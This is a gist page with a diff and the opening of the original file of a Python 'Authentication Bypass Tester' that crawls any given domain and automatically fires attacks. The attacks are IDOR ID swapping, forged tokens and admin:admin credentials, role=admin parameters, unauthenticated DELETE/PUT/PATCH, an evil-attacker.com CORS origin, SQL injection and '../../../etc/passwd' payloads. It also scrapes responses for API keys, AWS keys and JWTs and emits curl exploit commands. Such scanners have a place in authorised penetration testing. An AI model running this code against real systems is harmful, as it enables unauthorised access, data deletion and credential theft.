    if not self.is_meaningful_response(baseline_response):
    continue

    for test_id in test_ids:
    test_url = re.sub(pattern, f'/{test_id}/', url) if '/' in pattern else url.replace(f'={original_id}', f'={test_id}')
    if '?' in pattern or '&' in pattern:
    test_url = re.sub(pattern, f'{pattern.split("=")[0]}={test_id}', url)
    else:
    test_url = url.replace(f'/{original_id}', f'/{test_id}')

    response = self.session.get(test_url, timeout=self.timeout)
    if response.status_code == 200 and len(response.text) > 100:
    return {
    'vulnerable': True,
    'method': 'IDOR (Insecure Direct Object Reference)',
    'details': f'ID {original_id}{test_id} accessible',
    'exploitation': f'Change ID parameter to access other users data'
    }

    # Check if we got a different, meaningful response
    if (response.status_code == 200 and
    self.is_meaningful_response(response) and
    response.text != baseline_response.text and
    len(response.text) > 100):

    # Additional check: response should contain user/account data
    if any(indicator in response.text.lower() for indicator in
    ['email', 'name', 'phone', 'address', 'account', 'profile']):
    return {
    'vulnerable': True,
    'method': f'IDOR (Insecure Direct Object Reference) - {param_type} parameter',
    'details': f'Successfully accessed {param_type} ID {test_id} (original: {original_id})',
    'exploitation': f'Change {param_type} ID to access other users\' data',
    'poc': f'curl -X GET "{test_url}"'
    }

    return {'vulnerable': False}

    @@ -398,49 +454,56 @@ class AuthBypassTester:
    def test_weak_token_validation(self, url: str) -> Dict:
    """Test 4: Weak Session Token or Cookie Validation"""
    try:
    # Skip static assets - they don't validate tokens by design
    # Skip static assets and public files
    static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
    if re.search(static_extensions, url, re.IGNORECASE):
    public_files = ['manifest.json', 'robots.txt', '.well-known/', 'sitemap.xml']

    if (re.search(static_extensions, url, re.IGNORECASE) or
    any(public_file in url for public_file in public_files)):
    return {'vulnerable': False}

    # First test normal request to establish baseline
    normal_response = self.session.get(url, timeout=self.timeout)

    # Skip if baseline response is HTML error page
    if normal_response.text.lower().startswith('<!doctype html>') or '<html' in normal_response.text.lower()[:100]:
    # Skip if baseline response is not meaningful
    if not self.is_meaningful_response(normal_response):
    return {'vulnerable': False}

    # Test with invalid/tampered tokens
    invalid_tokens = [
    'Bearer invalid_token',
    'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.invalid',
    'Bearer admin_token',
    'Bearer 123456'
    'Bearer invalid_token_12345',
    'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.invalid_signature',
    'Bearer admin_bypass_token',
    'Basic YWRtaW46YWRtaW4=' # admin:admin in base64
    ]

    for token in invalid_tokens:
    headers = {'Authorization': token}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Skip if response is HTML error page
    if response.text.lower().startswith('<!doctype html>') or '<html' in response.text.lower()[:100]:
    continue

    # Only flag as vulnerable if it returns 200 AND different/substantial content
    if response.status_code == 200 and len(response.text) > 50:
    # Check if the response is different from normal request (indicating it processed the token)
    if response.text != normal_response.text or 'error' not in response.text.lower():
    # Additional check: make sure this isn't just a static file
    content_type = response.headers.get('content-type', '').lower()
    if not any(static_type in content_type for static_type in ['image/', 'font/', 'text/css', 'text/html']):
    return {
    'vulnerable': True,
    'method': 'Weak Token Validation',
    'details': f'Accepts invalid token: "{token[:30]}..." (Status: {response.status_code})',
    'exploitation': 'Server accepts invalid or missing tokens',
    'poc': f'curl -X GET "{url}" -H "Authorization: {token}"',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }
    # Only flag as vulnerable if:
    # 1. Returns 200 status
    # 2. Response is meaningful
    # 3. Response suggests successful authentication
    if (response.status_code == 200 and
    self.is_meaningful_response(response) and
    len(response.text) > 50):

    # Check if response indicates successful auth
    auth_success_indicators = [
    '"authenticated":true', '"status":"success"', '"loggedIn":true',
    '"user":{', '"profile":{', '"permissions":[', '"role":"'
    ]

    if any(indicator in response.text for indicator in auth_success_indicators):
    return {
    'vulnerable': True,
    'method': 'Weak Token Validation - Authentication Bypass',
    'details': f'Server accepts invalid token and returns authenticated response',
    'exploitation': 'Use any invalid token to bypass authentication',
    'poc': f'curl -X GET "{url}" -H "Authorization: {token}"',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    @@ -450,39 +513,57 @@ class AuthBypassTester:
    def test_privilege_escalation(self, url: str) -> Dict:
    """Test 5: Privilege Escalation via Parameter Tampering"""
    try:
    # Skip if URL doesn't look like it handles user data
    if not any(keyword in url.lower() for keyword in
    ['user', 'account', 'profile', 'admin', 'dashboard', 'panel', 'manage']):
    return {'vulnerable': False}

    # First get baseline response
    baseline_response = self.session.get(url, timeout=self.timeout)
    if not self.is_meaningful_response(baseline_response):
    return {'vulnerable': False}

    baseline_content = baseline_response.text.lower()

    # Test with privilege escalation parameters
    priv_params = [
    {'role': 'admin'},
    {'isAdmin': 'true'},
    {'user_id': '1'},
    {'is_admin': '1'},
    {'admin': '1'},
    {'privilege': 'admin'},
    {'level': '999'}
    {'userRole': 'administrator'},
    {'privilege': 'root'},
    {'access_level': '999'}
    ]

    for params in priv_params:
    response = self.session.get(url, params=params, timeout=self.timeout)

    if response.status_code == 200:
    if response.status_code == 200 and self.is_meaningful_response(response):
    content = response.text.lower()

    # Check if response suggests elevated privileges or is significantly different
    admin_indicators = ['admin', 'administrator', 'root', 'superuser', 'privilege']
    has_admin_content = any(indicator in content for indicator in admin_indicators)
    content_changed = len(content) != len(baseline_content) or content != baseline_content
    # Check if response suggests elevated privileges
    admin_gained_indicators = [
    'admin panel', 'administrator dashboard', 'system settings',
    'user management', 'delete user', 'modify permissions',
    'root access', 'superuser', '"role":"admin"', '"isAdmin":true'
    ]

    # Check if we gained admin content that wasn't in baseline
    admin_gained = any(indicator in content and indicator not in baseline_content
    for indicator in admin_gained_indicators)

    if has_admin_content and content_changed:
    # Also check for significant content change
    content_significantly_different = abs(len(content) - len(baseline_content)) > 500

    if admin_gained or (content_significantly_different and 'admin' in content):
    return {
    'vulnerable': True,
    'method': 'Privilege Escalation via Parameter Tampering',
    'details': f'Parameter manipulation successful: {params} (Status: {response.status_code})',
    'exploitation': 'Add privilege parameters to requests',
    'details': f'Successfully escalated privileges using parameters: {params}',
    'exploitation': 'Add privilege parameters to gain admin access',
    'poc': f'curl -X GET "{url}?" + "&".join([f"{k}={v}" for k,v in params.items()])',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    }

    return {'vulnerable': False}
    @@ -493,57 +574,85 @@ class AuthBypassTester:
    def test_http_method_bypass(self, url: str) -> Dict:
    """Test 6: Broken Access Control on HTTP Methods"""
    try:
    # Skip static assets - DELETE on images/fonts/CSS isn't a vulnerability
    static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
    if re.search(static_extensions, url, re.IGNORECASE):
    return {'vulnerable': False}

    # Skip static asset directories
    if any(static_dir in url.lower() for static_dir in ['/images/', '/fonts/', '/css/', '/static/', '/assets/']):
    # Skip static assets and configuration endpoints
    static_patterns = [
    r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$',
    r'/images/', r'/fonts/', r'/css/', r'/static/', r'/assets/',
    r'/configuration/', r'/modals/', r'/content/'
    ]

    if any(re.search(pattern, url, re.IGNORECASE) if pattern.endswith('$') else pattern in url.lower()
    for pattern in static_patterns):
    return {'vulnerable': False}

    # Get baseline with GET request
    get_response = self.session.get(url, timeout=self.timeout)
    get_status = get_response.status_code

    # Only test if GET returns meaningful content
    if not self.is_meaningful_response(get_response):
    return {'vulnerable': False}

    get_content_length = len(get_response.text)

    methods = ['POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS']
    # Test dangerous methods
    dangerous_methods = ['PUT', 'DELETE', 'PATCH']

    for method in methods:
    response = self.session.request(method, url, timeout=self.timeout)
    for method in dangerous_methods:
    # Add test data for methods that accept body
    test_data = None
    if method in ['PUT', 'PATCH']:
    test_data = json.dumps({'test': 'data'})
    headers = {'Content-Type': 'application/json'}
    else:
    headers = {}

    response = self.session.request(
    method, url,
    data=test_data,
    headers=headers,
    timeout=self.timeout
    )

    # Only flag as vulnerable if method returns success AND doesn't contain error messages
    # Only flag as vulnerable if:
    # 1. Method returns success status
    # 2. Response indicates actual processing (not just error page)
    # 3. Response is different from GET (suggests method was processed)
    if response.status_code in [200, 201, 202, 204]:
    content = response.text.lower()
    content_length = len(response.text)

    # Check for common error indicators that suggest the request was rejected
    # Check for indicators of successful operation
    success_indicators = [
    'success', 'updated', 'deleted', 'created', 'modified',
    'saved', 'removed', '"status":200', '"ok":true'
    ]

    error_indicators = [
    'request rejected', 'access denied', 'method not allowed',
    'forbidden', 'unauthorized', 'error', 'blocked', 'rejected'
    'error', 'forbidden', 'unauthorized', 'not allowed',
    'access denied', 'permission denied', 'rejected'
    ]

    has_success = any(indicator in content for indicator in success_indicators)
    has_errors = any(indicator in content for indicator in error_indicators)

    # Additional check: make sure response isn't just a static file
    content_type = response.headers.get('content-type', '').lower()
    is_static_content = any(static_type in content_type for static_type in ['image/', 'font/', 'text/css'])
    # For DELETE, 204 with no content is actually a success indicator
    if method == 'DELETE' and response.status_code == 204:
    return {
    'vulnerable': True,
    'method': f'HTTP Method Bypass - {method} (Destructive Operation)',
    'details': f'{method} operation completed successfully (Status: 204 No Content)',
    'exploitation': f'Use {method} method to delete resources without authorization',
    'poc': f'curl -X {method} "{url}"',
    'severity': 'HIGH'
    }

    # Consider it vulnerable if:
    # 1. No error messages in response, AND
    # 2. Not static content, AND
    # 3. Method should not be allowed (DELETE, PUT, PATCH), OR
    # 4. Substantially different content that suggests actual processing
    if (not has_errors and not is_static_content and
    (method in ['DELETE', 'PUT', 'PATCH'] or
    (abs(content_length - get_content_length) > 100 and content_length > 50))):

    # For other methods, check for success without errors
    elif has_success and not has_errors:
    return {
    'vulnerable': True,
    'method': f'HTTP Method Bypass - {method}',
    'details': f'{method} method accessible (Status: {response.status_code}, Content: {content_length} chars vs GET: {get_content_length} chars)',
    'exploitation': f'Use {method} method to bypass access controls',
    'poc': f'curl -X {method} "{url}"',
    'details': f'{method} method processed successfully (Status: {response.status_code})',
    'exploitation': f'Use {method} method to modify resources without proper authorization',
    'poc': f'curl -X {method} "{url}"' + (f' -d \'{test_data}\' -H "Content-Type: application/json"' if test_data else ''),
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    @@ -557,27 +666,44 @@ class AuthBypassTester:
    try:
    response = self.session.get(url, timeout=self.timeout)

    # Look for exposed secrets
    if not self.is_meaningful_response(response):
    return {'vulnerable': False}

    # Look for exposed secrets with better patterns
    secret_patterns = [
    r'api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'secret[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'access[_-]?token["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'bearer["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'jwt["\']?\s*[:=]\s*["\']?(eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)'
    (r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'API Key'),
    (r'["\']?secret[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Secret Key'),
    (r'["\']?access[_-]?token["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Access Token'),
    (r'["\']?private[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'Private Key'),
    (r'["\']?aws[_-]?access[_-]?key[_-]?id["\']?\s*[:=]\s*["\']([A-Z0-9]{20})["\']', 'AWS Access Key'),
    (r'["\']?aws[_-]?secret[_-]?access[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9/+=]{40})["\']', 'AWS Secret Key'),
    (r'Bearer\s+([a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)', 'JWT Token'),
    (r'Basic\s+([a-zA-Z0-9+/=]{20,})', 'Basic Auth Credentials')
    ]

    for pattern in secret_patterns:
    found_secrets = []
    for pattern, secret_type in secret_patterns:
    matches = re.findall(pattern, response.text, re.IGNORECASE)
    if matches:
    return {
    'vulnerable': True,
    'method': 'Information Disclosure - Exposed Secrets',
    'details': f'Found {len(matches)} potential secrets in response',
    'exploitation': 'Extract exposed API keys/tokens from response',
    'poc': f'curl -X GET "{url}"',
    'secrets_found': matches[:3],
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }
    # Filter out obvious placeholders
    real_secrets = [m for m in matches if not any(
    placeholder in m.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...', 'placeholder']
    )]

    if real_secrets:
    found_secrets.extend([(secret_type, secret[:20] + '...') for secret in real_secrets])

    if found_secrets:
    return {
    'vulnerable': True,
    'method': 'Information Disclosure - Exposed Secrets',
    'details': f'Found {len(found_secrets)} exposed secrets in response',
    'exploitation': 'Extract and use exposed API keys/tokens',
    'poc': f'curl -X GET "{url}"',
    'secrets_found': [f'{stype}: {svalue}' for stype, svalue in found_secrets[:3]],
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    }

    return {'vulnerable': False}

    @@ -587,31 +713,39 @@ class AuthBypassTester:
    def test_cors_misconfiguration(self, url: str) -> Dict:
    """Test 8: CORS Misconfiguration"""
    try:
    # Skip 404 pages and other error pages
    if '404?' in url or 'ItemNotFound' in url:
    # Skip non-API endpoints
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'json', 'rest', 'graphql']):
    return {'vulnerable': False}

    headers = {'Origin': 'https://evil.com'}
    headers = {'Origin': 'https://evil-attacker.com'}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Only check successful responses, not error pages
    if response.status_code != 200:
    # Only check successful responses with meaningful content
    if not (response.status_code == 200 and self.is_meaningful_response(response)):
    return {'vulnerable': False}

    cors_header = response.headers.get('Access-Control-Allow-Origin', '')
    cors_credentials = response.headers.get('Access-Control-Allow-Credentials', '')

    # Check for overly permissive CORS
    if cors_header == '*' or 'evil.com' in cors_header:
    # Make sure this isn't just an error page
    content = response.text.lower()
    if not any(error in content for error in ['error', 'not found', 'rejected']):
    if cors_header == '*' or cors_header == 'https://evil-attacker.com':
    # Additional check: is this actually sensitive data?
    sensitive_content = any(indicator in response.text.lower() for indicator in [
    'password', 'token', 'secret', 'api_key', 'private', 'confidential',
    'credit', 'ssn', 'email', 'phone', 'address'
    ])

    if sensitive_content or ('true' in cors_credentials.lower() and cors_header != '*'):
    severity = 'CRITICAL' if cors_credentials.lower() == 'true' else 'HIGH'
    return {
    'vulnerable': True,
    'method': 'CORS Misconfiguration',
    'details': f'CORS allows unauthorized origin: {cors_header}',
    'exploitation': 'Cross-origin requests from malicious sites possible',
    'poc': f'curl -X GET "{url}" -H "Origin: https://evil.com"',
    'cors_header': cors_header
    'details': f'Allows unauthorized origin: {cors_header}' +
    (f' with credentials' if cors_credentials.lower() == 'true' else ''),
    'exploitation': 'Cross-origin data theft possible from malicious websites',
    'poc': f'curl -X GET "{url}" -H "Origin: https://evil-attacker.com"',
    'cors_header': cors_header,
    'severity': severity
    }

    return {'vulnerable': False}
    @@ -622,46 +756,77 @@ class AuthBypassTester:
    def test_error_message_disclosure(self, url: str) -> Dict:
    """Test 9: Information Disclosure in Error Messages"""
    try:
    # Skip if URL doesn't look like an API endpoint
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'rest', 'service']):
    return {'vulnerable': False}

    # Trigger errors with malformed requests
    error_triggers = [
    {'params': {'id': 'invalid'}},
    {'headers': {'Content-Type': 'application/xml'}},
    {'data': 'invalid json'},
    {'params': {'q': "' OR 1=1 --"}}
    {'method': 'POST', 'data': 'invalid json', 'headers': {'Content-Type': 'application/json'}},
    {'method': 'POST', 'data': '{"test": }', 'headers': {'Content-Type': 'application/json'}},
    {'method': 'GET', 'params': {'id': "' OR 1=1 --"}},
    {'method': 'GET', 'params': {'debug': 'true', 'test': '../../../etc/passwd'}},
    {'method': 'POST', 'data': '<invalid>xml</xml>', 'headers': {'Content-Type': 'application/xml'}}
    ]

    for trigger in error_triggers:
    response = self.session.post(url, timeout=self.timeout, **trigger)
    method = trigger.pop('method', 'GET')
    response = self.session.request(method, url, timeout=self.timeout, **trigger)

    # Look for information disclosure in errors
    disclosure_patterns = [
    r'stack trace',
    r'sql.*error',
    r'database.*error',
    r'/var/www/',
    r'/home/',
    r'c:\\',
    r'exception',
    r'traceback'
    ]

    content = response.text.lower()
    for pattern in disclosure_patterns:
    if re.search(pattern, content):
    return {
    'vulnerable': True,
    'method': 'Information Disclosure in Error Messages',
    'details': f'Error message contains sensitive information',
    'exploitation': 'Craft malformed requests to extract system info',
    'poc': f'curl -X POST "{url}" -d "invalid json" -H "Content-Type: application/json"',
    'error_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }
    # Look for real error disclosures (not just HTML pages)
    if self.is_meaningful_response(response) or response.status_code >= 400:
    content = response.text

    # Enhanced patterns for real security issues
    critical_patterns = [
    (r'(com\.[\w\.]+Exception)', 'Java Exception'),
    (r'(org\.[\w\.]+Exception)', 'Java Framework Exception'),
    (r'at\s+[\w\.$]+\([\w\.]+:\d+\)', 'Java Stack Trace'),
    (r'File\s+"([^"]+)"\,?\s+line\s+\d+', 'Python Stack Trace'),
    (r'(Microsoft\.[\w\.]+Exception)', '.NET Exception'),
    (r'(System\.[\w\.]+Exception)', '.NET System Exception'),
    (r'(\/home\/[\w\/]+|\/var\/www\/[\w\/]+|C:\\[\w\\]+)', 'File Path Disclosure'),
    (r'(SELECT\s+.*\s+FROM\s+|INSERT\s+INTO\s+|UPDATE\s+.*\s+SET)', 'SQL Query Disclosure'),
    (r'(mysql_fetch_|mysqli_|pg_query|oci_parse)', 'Database Function'),
    (r'(root|admin|password|pwd)\s*[:=]\s*["\']?[\w]+', 'Credential Disclosure'),
    (r'(MongoDB|Redis|PostgreSQL|MySQL|Oracle|MSSQL)\s+Error', 'Database Error'),
    (r'"stack":\s*"[^"]+Error[^"]+"', 'JSON Stack Trace'),
    (r'Traceback\s+\(most\s+recent\s+call\s+last\)', 'Python Traceback')
    ]

    for pattern, disclosure_type in critical_patterns:
    match = re.search(pattern, content, re.IGNORECASE | re.MULTILINE)
    if match:
    # Extract relevant error context
    error_context = content[max(0, match.start()-100):min(len(content), match.end()+100)]

    return {
    'vulnerable': True,
    'method': f'Information Disclosure - {disclosure_type}',
    'details': f'Error message reveals sensitive information: {disclosure_type}',
    'exploitation': 'Craft malformed requests to extract system information',
    'poc': self._generate_error_poc(url, trigger, method),
    'error_sample': error_context,
    'severity': 'HIGH' if 'Stack Trace' in disclosure_type else 'MEDIUM'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def _generate_error_poc(self, url: str, trigger: dict, method: str) -> str:
    """Generate POC command for error triggering"""
    if method == 'POST':
    data = trigger.get('data', '')
    headers = trigger.get('headers', {})
    header_str = ' '.join([f'-H "{k}: {v}"' for k, v in headers.items()])
    return f'curl -X POST "{url}" -d \'{data}\' {header_str}'
    else:
    params = trigger.get('params', {})
    param_str = '&'.join([f'{k}={v}' for k, v in params.items()])
    return f'curl -X GET "{url}?{param_str}"'

    def test_json_manipulation(self, url: str, original_response: requests.Response) -> Dict:
    """Test JSON response manipulation bypass"""
    try:
    @@ -673,45 +838,61 @@ class AuthBypassTester:
    except:
    return {'vulnerable': False}

    # Look for any access control indicators in response
    # Look for authentication/authorization fields
    bypass_found = False
    potential_bypasses = []

    for key, value in self.flatten_dict(data).items():
    # Check for auth-related fields with negative values
    if any(indicator in key.lower() for indicator in self.bypass_indicators):
    if value is False or str(value).lower() in ['false', '0', 'no', 'disabled', 'expired']:
    if value is False or str(value).lower() in ['false', '0', 'no', 'disabled', 'expired', 'unauthorized']:
    bypass_found = True
    potential_bypasses.append({
    'field': key,
    'current_value': value,
    'suggested_value': self.get_bypass_value(key, value)
    'suggested_value': self.get_bypass_value(key, value),
    'impact': self.assess_bypass_impact(key)
    })

    if bypass_found:
    return {
    'vulnerable': True,
    'method': 'JSON Response Manipulation',
    'details': f'Found {len(potential_bypasses)} bypass opportunities',
    'bypass_opportunities': potential_bypasses,
    'exploitation': 'Intercept response and modify boolean values',
    'poc': f'curl -X GET "{url}" # Then use Burp Suite to intercept and modify response',
    'response_sample': json.dumps(data, indent=2)[:300] + '...' if len(json.dumps(data)) > 300 else json.dumps(data, indent=2)
    }
    # Only report if we found high-impact bypasses
    high_impact_bypasses = [b for b in potential_bypasses if b['impact'] == 'HIGH']

    # Also check for common API error patterns that might indicate auth issues
    if self.check_for_auth_errors(data):
    if high_impact_bypasses:
    return {
    'vulnerable': True,
    'method': 'API Error Response Manipulation',
    'details': 'API returns auth errors - try manipulating error responses',
    'exploitation': 'Modify error responses to bypass checks'
    'method': 'JSON Response Manipulation - Authentication Bypass',
    'details': f'Found {len(high_impact_bypasses)} high-impact bypass opportunities',
    'bypass_opportunities': high_impact_bypasses[:3], # Limit to top 3
    'exploitation': 'Intercept response and modify authentication fields',
    'poc': f'curl -X GET "{url}" # Intercept with Burp Suite and modify response',
    'response_sample': json.dumps(data, indent=2)[:300] + '...' if len(json.dumps(data)) > 300 else json.dumps(data, indent=2)
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def assess_bypass_impact(self, field_name: str) -> str:
    """Assess the impact of bypassing a specific field"""
    field_lower = field_name.lower()

    high_impact_keywords = [
    'authenticated', 'authorized', 'logged_in', 'isadmin', 'is_admin',
    'admin', 'root', 'superuser', 'premium', 'paid', 'licensed'
    ]

    medium_impact_keywords = [
    'enabled', 'active', 'valid', 'verified', 'confirmed'
    ]

    if any(keyword in field_lower for keyword in high_impact_keywords):
    return 'HIGH'
    elif any(keyword in field_lower for keyword in medium_impact_keywords):
    return 'MEDIUM'
    else:
    return 'LOW'

    def get_bypass_value(self, key: str, current_value) -> str:
    """Suggest appropriate bypass value based on the field name and current value"""
    key_lower = key.lower()
    @@ -780,7 +961,7 @@ class AuthBypassTester:
    vulnerable = len(self.vulnerable_endpoints)

    report = f"""
    === Comprehensive API Security Test Results ===
    === Enhanced API Security Test Results (v2) ===
    Domain: {self.domain}
    Total URLs discovered: {len(self.found_urls)}
    API endpoints tested: {total_tested}
    @@ -800,10 +981,19 @@ TESTS PERFORMED:
    """

    if vulnerable > 0:
    # Sort vulnerabilities by severity
    critical_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'CRITICAL']
    high_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'HIGH']
    other_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') not in ['CRITICAL', 'HIGH']]

    sorted_vulns = critical_vulns + high_vulns + other_vulns

    report += "=== VULNERABLE API ENDPOINTS ===\n"
    for vuln in self.vulnerable_endpoints:
    for vuln in sorted_vulns:
    severity = vuln.get('severity', 'MEDIUM')
    report += f"""
    URL: {vuln['url']}
    Severity: {severity}
    Vulnerability: {vuln.get('method', 'Unknown')}
    Details: {vuln.get('details', 'No additional details')}
    Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    @@ -820,7 +1010,7 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    if 'bypass_opportunities' in vuln:
    report += "\n🎯 Specific Bypass Opportunities:\n"
    for bypass in vuln['bypass_opportunities']:
    report += f" - Change '{bypass['field']}' from '{bypass['current_value']}' to '{bypass['suggested_value']}'\n"
    report += f" - Change '{bypass['field']}' from '{bypass['current_value']}' to '{bypass['suggested_value']}' (Impact: {bypass.get('impact', 'Unknown')})\n"

    if 'secrets_found' in vuln:
    report += f"\n🔑 Secrets Found: {', '.join(vuln['secrets_found'])}\n"
    @@ -829,7 +1019,7 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    report += f"\n🌐 CORS Header: {vuln['cors_header']}\n"

    if 'error_sample' in vuln:
    report += f"\n⚠️ Error Sample: {vuln['error_sample']}\n"
    report += f"\n⚠️ Error Sample:\n{vuln['error_sample']}\n"

    report += "\n" + "="*60 + "\n"

    @@ -844,12 +1034,20 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}

    for vuln_type, count in sorted(vuln_types.items()):
    report += f"{vuln_type}: {count} endpoints\n"

    # Add severity summary
    report += f"""
    === SUMMARY BY SEVERITY ===
    CRITICAL: {len(critical_vulns)} vulnerabilities
    HIGH: {len(high_vulns)} vulnerabilities
    MEDIUM/LOW: {len(other_vulns)} vulnerabilities
    """

    return report

    def run_full_scan(self) -> str:
    """Run the complete authentication bypass scan"""
    logger.info(f"Starting comprehensive API security scan for {self.domain}")
    logger.info(f"Starting enhanced API security scan for {self.domain}")

    # Step 1: Discover URLs
    all_urls = self.run_urlfinder()
    @@ -870,7 +1068,7 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    return self.generate_report(results)

    def main():
    parser = argparse.ArgumentParser(description='Automated Authentication Bypass Tester')
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v2')
    parser.add_argument('domain', help='Target domain to test')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('-o', '--output', help='Output file for results')
    @@ -886,6 +1084,7 @@ def main():
    # Warning message
    print("⚠️ WARNING: Only use this tool on domains you own or have explicit permission to test!")
    print("Unauthorized testing may be illegal and could result in serious consequences.")
    print("\n📌 Enhanced Version 2.0 - Reduced False Positives")

    # Run the scan
    tester = AuthBypassTester(args.domain, threads=args.threads, timeout=args.timeout)
  4. nullenc0de created this gist May 22, 2025.
    903 changes: 903 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,903 @@
    #!/usr/bin/env python3
    """
    Authentication Bypass Automation Tool
    Combines URLfinder with automated authentication bypass testing
    """

    import subprocess
    import requests
    import json
    import re
    import time
    import argparse
    from urllib.parse import urlparse, urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    import logging
    from typing import List, Dict, Set
    import urllib3

    # Disable SSL warnings and certificate verification warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.packages.urllib3.disable_warnings()

    # Configure logging to suppress certificate warnings
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
    logger = logging.getLogger(__name__)

    # Suppress specific certificate warnings
    logging.getLogger("urllib3.connectionpool").setLevel(logging.ERROR)
    logging.getLogger("requests.packages.urllib3").setLevel(logging.ERROR)

    class AuthBypassTester:
    def __init__(self, domain: str, threads: int = 10, timeout: int = 10):
    self.domain = domain
    self.threads = threads
    self.timeout = timeout
    self.session = requests.Session()
    self.session.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    # Disable SSL verification to avoid certificate warnings
    self.session.verify = False

    # Expanded response indicators for any API data that might control access
    self.bypass_indicators = [
    # Authentication status
    'authenticated', 'logged_in', 'isAuthenticated', 'user_authenticated',
    'auth_status', 'login_status', 'authorized', 'session_valid', 'loggedIn',

    # Access control
    'access_granted', 'has_access', 'allowed', 'permitted', 'can_access',
    'is_authorized', 'access_level', 'permission_granted',

    # User status
    'active', 'enabled', 'valid', 'verified', 'approved', 'confirmed',
    'is_active', 'is_enabled', 'is_valid', 'is_verified',

    # Subscription/License status
    'subscribed', 'premium', 'licensed', 'paid', 'trial_expired',
    'subscription_active', 'license_valid', 'account_active',

    # Feature flags
    'feature_enabled', 'beta_access', 'admin_access', 'demo_mode',
    'maintenance_mode', 'read_only', 'restricted'
    ]

    self.found_urls = set()
    self.vulnerable_endpoints = []

    def run_urlfinder(self) -> List[str]:
    """Run URLfinder to discover URLs for the target domain"""
    logger.info(f"Running URLfinder for domain: {self.domain}")

    try:
    # Run urlfinder with JSON output
    cmd = ['urlfinder', '-d', self.domain, '-j', '-silent']
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)

    if result.returncode != 0:
    logger.error(f"URLfinder failed: {result.stderr}")
    return []

    urls = []
    for line in result.stdout.strip().split('\n'):
    if line.strip():
    try:
    data = json.loads(line)
    urls.append(data['url'])
    except json.JSONDecodeError:
    # Handle non-JSON lines (might be regular output)
    if line.startswith('http'):
    urls.append(line.strip())

    logger.info(f"Found {len(urls)} URLs from URLfinder")
    return urls

    except subprocess.TimeoutExpired:
    logger.error("URLfinder timed out after 10 minutes")
    return []
    except FileNotFoundError:
    logger.error("URLfinder not found. Make sure it's installed and in PATH")
    return []

    def filter_api_endpoints(self, urls: List[str]) -> List[str]:
    """Filter URLs that are API endpoints (prioritized and filtered)"""
    api_urls = []

    # Skip common false positive patterns
    skip_patterns = [
    r'/wp-json/wp/v2/',
    r'/job/\d+/',
    r'\.js$',
    r'\.css$',
    r'/404\?',
    r'/gtm\.js',
    r'/gtm\.start',
    r'noticeError/called',
    r'\.(jpg|jpeg|png|gif|svg|ico|webp)(\?.*)?$',
    r'\.(ttf|eot|woff|woff2|otf)(\?.*)?$',
    r'\.(css|scss|less)(\?.*)?$',
    r'\.pdf(\?.*)?$',
    r'/images?/',
